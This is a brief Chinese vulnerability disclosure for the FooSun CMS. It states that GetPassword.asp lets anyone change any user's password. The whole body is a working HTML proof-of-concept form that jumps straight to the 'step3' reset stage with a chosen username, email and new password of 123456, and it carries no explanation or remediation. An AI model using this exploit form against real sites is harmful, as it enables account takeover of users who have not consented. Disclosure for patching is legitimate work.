风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞

                                                <form id="form1" name="form1" method="post" action="http://ssvdb.com/User/GetPassword.asp">
<input name="Action" type="text" id="Action" value="step3" />
<input name="pass_new" type="text" id="pass_new" value="123456" />
<input name="confim_pass_new" type="text" id="confim_pass_new" value="123456" />
<input name="Email" type="text" id="Email" value="[email protected]" />
<input name="UserName" type="text" id="UserName" value="bb" />
<input type="submit" name="Submit" value="提交" />
</form>